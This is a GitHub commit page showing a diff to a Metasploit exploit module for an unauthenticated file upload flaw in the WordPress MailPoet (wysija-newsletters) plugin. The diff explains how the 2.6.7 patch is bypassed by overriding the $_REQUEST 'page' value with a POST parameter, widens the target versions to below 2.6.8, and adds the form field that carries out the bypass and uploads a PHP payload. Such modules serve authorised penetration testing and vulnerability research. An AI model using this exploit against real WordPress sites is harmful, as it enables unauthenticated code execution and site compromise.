Skip to content

Commit 5e7f356

Browse files
committed
Land rapid7#3494, @firefart's update for Mailpoet's exploit
2 parents cf5d29c + d5843f8 commit 5e7f356

File tree

1 file changed

+13
-5
lines changed

1 file changed

+13
-5
lines changed

modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,11 +15,16 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload',
1717
'Description' => %q{
18-
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.7
18+
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
1919
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
2020
functionality to upload a zip file containing the payload. The plugin used the
2121
admin_init hook, which is also executed for unauthenticated users when accessing
22-
a specific URL.
22+
a specific URL. The developers tried to fix the vulnerablility
23+
in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,
24+
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
25+
uses $_REQUEST to check for access rights. By setting the POST parameter to
26+
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
27+
the $_GET array to determine the page and is so not affected by this.
2328
},
2429
'Author' =>
2530
[
@@ -29,12 +34,14 @@ def initialize(info = {})
2934
'License' => MSF_LICENSE,
3035
'References' =>
3136
[
32-
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ]
37+
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
38+
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
39+
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
3340
],
3441
'Privileged' => false,
3542
'Platform' => ['php'],
3643
'Arch' => ARCH_PHP,
37-
'Targets' => [ ['wysija-newsletters < 2.6.7', {}] ],
44+
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
3845
'DefaultTarget' => 0,
3946
'DisclosureDate' => 'Jul 1 2014'))
4047
end
@@ -81,7 +88,7 @@ def check
8188

8289
print_status("#{peer} - Found version #{version} of the plugin")
8390

84-
if Gem::Version.new(version) < Gem::Version.new('2.6.7')
91+
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
8592
return Msf::Exploit::CheckCode::Appears
8693
else
8794
return Msf::Exploit::CheckCode::Safe
@@ -101,6 +108,7 @@ def exploit
101108
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
102109
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
103110
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
111+
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
104112
post_data = data.to_s
105113

106114
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)

0 commit comments

Comments
 (0)